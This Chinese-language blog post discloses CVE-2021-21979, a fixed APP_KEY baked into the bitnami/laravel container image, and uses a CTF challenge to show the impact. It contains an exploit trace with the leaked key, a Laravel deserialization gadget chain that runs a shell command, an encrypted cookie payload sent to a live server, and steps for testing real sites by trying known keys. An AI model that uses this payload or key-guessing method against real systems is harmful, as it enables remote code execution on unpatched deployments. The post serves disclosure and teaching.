tags: container,漏洞报告

[漏洞报告]CVE-2021-21979: APP_KEY在容器镜像bitnami/laravel中是固定的

最近,我在思考容器供应链安全时,发现了一个容器镜像构建产生的漏洞(CVE-2021-21979)。问题本身比较简单,但具有较强的启发意义,可以作为一个绝佳的示例。

这个问题在2021.02.23报告给bitnami,在2021.02.24就完成了修复,并帮我申请了CVE编号。

https://github.com/bitnami/bitnami-docker-laravel/issues/139

1. 漏洞简介

用户使用image bitnami/laravel时,如果文件/app/config/database.php不存在,则文件/app/.env将被文件/tmp/app/.env覆盖。

if [[ ! -f /app/config/database.php ]]; then
    log "Creating laravel application"
    cp -a /tmp/app/. /app/
fi

然而,/tmp/app/.env这个文件是在docker镜像bitnami/laravel构建的时候生成的,APP_KEY的值是固定的。

虽然每次从源码安装laravel的时候APP_KEY都会随机生成:

// 文件 https://github.com/laravel/laravel/blob/8.x/composer.json
...
"@php artisan key:generate --ansi"

但是如果我们把它构建成docker镜像,无论何时运行,APP_KEY都是一个固定的值。

因此,我们可以知道所有镜像中APP_KEY的值,而这个值对laravel框架的安全性至关重要。

2. 基于这个漏洞出的一道CTF题目

我出了一道CTF题,用于提供这个漏洞的poc。

请在http://139.159.204.145:3000/ 中获取文件/flag的内容。

附件:https://github.com/ssst0n3/ssst0n3_challenges_public/tree/main/container/latest_laravel/attachments

exploit

在这个挑战中,我把EncryptCookies.php文件中的$serialize变量设置为true,以使攻击更容易。

protected static $serialize = true;

只要我们能得到APP_KEY来加密我们的payload,我们就可以进行反序列化攻击。

而APP_KEY可以通过迭代所有镜像来找到。

exploit:

╭─st0n3@yoga in ~/ctf_project/my_challenges/container/latest_laravel/exp on master ✔ (origin/master)
╰$ ./exp.sh 
+ APP_KEY=xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4=
+ python -c import base64;print base64.b64encode("""O:40:"Illuminate\\Broadcasting\\PendingBroadcast":2:{s:9:"\x00*\x00events";O:25:"Illuminate\\Bus\\Dispatcher":1:{s:16:"\x00*\x00queueResolver";s:6:"system";}s:8:"\x00*\x00event";O:34:"Illuminate\\Queue\\CallQueuedClosure":2:{s:10:"connection";s:9:"cat /flag";s:23:"deleteWhenMissingModels";b:0;}}""")
+ PAYLOAD_BASE64=Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNDoiSWxsdW1pbmF0ZVxRdWV1ZVxDYWxsUXVldWVkQ2xvc3VyZSI6Mjp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO3M6MjM6ImRlbGV0ZVdoZW5NaXNzaW5nTW9kZWxzIjtiOjA7fX0=
+ ./laravel-poc-CVE-2018-15133/cve-2018-15133.php xmdC9cSx0QWwOtm9mdG0xfdS3HWQJRtG4DhxmA3pOz4= Tzo0MDoiSWxsdW1pbmF0ZVxCcm9hZGNhc3RpbmdcUGVuZGluZ0Jyb2FkY2FzdCI6Mjp7czo5OiIAKgBldmVudHMiO086MjU6IklsbHVtaW5hdGVcQnVzXERpc3BhdGNoZXIiOjE6e3M6MTY6IgAqAHF1ZXVlUmVzb2x2ZXIiO3M6Njoic3lzdGVtIjt9czo4OiIAKgBldmVudCI7TzozNDoiSWxsdW1pbmF0ZVxRdWV1ZVxDYWxsUXVldWVkQ2xvc3VyZSI6Mjp7czoxMDoiY29ubmVjdGlvbiI7czo5OiJjYXQgL2ZsYWciO3M6MjM6ImRlbGV0ZVdoZW5NaXNzaW5nTW9kZWxzIjtiOjA7fX0=
PoC for Unserialize vulnerability in Laravel <= 5.6.29 (CVE-2018-15133) by @kozmic

HTTP header for POST request: 
X-XSRF-TOKEN: eyJpdiI6Imp3V0hDRTVFV0ozNk5EdDZpU3hjNUE9PSIsInZhbHVlIjoiN0o4V1VtMUdXeWErOEFjMVBrQXdzMWlpWGFqTWFcL1ljaUdZRmFWM05PODBcLzFxNTNWcXFMckVmak10UWE4RnpJXC9wdkl4WHhaU0hRbEd4YWF6Rlk2T2ppaHYxR2ZFV1RkdFNDK2VuOWEyRCtDYU1aSW5mNTlxTFZBa2prbTYxV29RRm1nMGZ6KzB5cStkT05mTnB0eWVHZXhBbnFhckFKWm9RMFJ6dHNlRW4rOWtOYm85NWNvUGpRUVBXM0p3Y3JQcHRWM01YRk1CeGNJXC81UlRzNCt1S1RZSWhaY2RiRlpRejVOKzdsU0tBUHB2bzFzd3phbVREbFAwRDhyd3dBc0kyWXZWMUh3M2txc0hVUHpIRFwvSG96UXl3QTcrVVFlNXpTVTVWblJMdjYxM3NvYlhYbzhUeWVJbSs2RkE4b3h4UFJ5ZldMalVpd1NPeTROVisyTElqTGE3MjhLazlRVDk1R3owZDhud0JsaTM3cU1pTStIWW9wSlpZZVJ2Z2NrMUsiLCJtYWMiOiI0MTJiMTdlNTRjZmRiZmQ4ODI3YzljZGZmNTQwMzliZWI4NWFjNmViNzY5MDQ5ODgyNTAyNTVhOTc4OWM4NTQ4In0=
╭─st0n3@yoga in ~/ctf_project/my_challenges/container/latest_laravel/exp on master ✔ (origin/master)
╰$ curl -s -H 'Cookie:  X-XSRF-TOKEN: eyJpdiI6Imp3V0hDRTVFV0ozNk5EdDZpU3hjNUE9PSIsInZhbHVlIjoiN0o4V1VtMUdXeWErOEFjMVBrQXdzMWlpWGFqTWFcL1ljaUdZRmFWM05PODBcLzFxNTNWcXFMckVmak10UWE4RnpJXC9wdkl4WHhaU0hRbEd4YWF6Rlk2T2ppaHYxR2ZFV1RkdFNDK2VuOWEyRCtDYU1aSW5mNTlxTFZBa2prbTYxV29RRm1nMGZ6KzB5cStkT05mTnB0eWVHZXhBbnFhckFKWm9RMFJ6dHNlRW4rOWtOYm85NWNvUGpRUVBXM0p3Y3JQcHRWM01YRk1CeGNJXC81UlRzNCt1S1RZSWhaY2RiRlpRejVOKzdsU0tBUHB2bzFzd3phbVREbFAwRDhyd3dBc0kyWXZWMUh3M2txc0hVUHpIRFwvSG96UXl3QTcrVVFlNXpTVTVWblJMdjYxM3NvYlhYbzhUeWVJbSs2RkE4b3h4UFJ5ZldMalVpd1NPeTROVisyTElqTGE3MjhLazlRVDk1R3owZDhud0JsaTM3cU1pTStIWW9wSlpZZVJ2Z2NrMUsiLCJtYWMiOiI0MTJiMTdlNTRjZmRiZmQ4ODI3YzljZGZmNTQwMzliZWI4NWFjNmViNzY5MDQ5ODgyNTAyNTVhOTc4OWM4NTQ4In0=' http://139.159.204.145:3000 |grep flag

3. real world

在现实中,如果我们发现一个使用laravel框架的网站,而且我们猜测它是由bitnami/laravel部署的。我们可以通过以下方式检查这个漏洞是否存在。

  1. 从浏览器获取cookie
  2. 获取所有版本bitnami/laravel镜像中的所有APP_KEY。
  3. 尝试每个APP_KEY,直到找到可以成功解密cookie的APP_KEY。
  4. 如果我们解密成功,则这个漏洞存在。

4. 一些解释

也许你认为这不是一个漏洞,我可以试着做一些解释。

APP_KEY应该由用户提供?

laravel源码和bitnami/laravel有一个区别:APP_KEY在源码中是随机生成的,但在bitnami/laravel中是固定的。

如果我们需要用户提供APP_KEY,这不是默认安全的。

大多数应用都有一个文件/app/config/database.php?

我不太确定,但我可以找到一些关于脱离数据库使用laravel需求。另外,用户如果不需要修改这个文件,可能就不会提供database.php,从而减少仓库的大小。

对于像bitnami/laravel这样有这么多用户的容器镜像,可能存在多种不同的使用方式。

5. 修复建议

在容器启动时生成APP_KEY,而不是在构建时生成。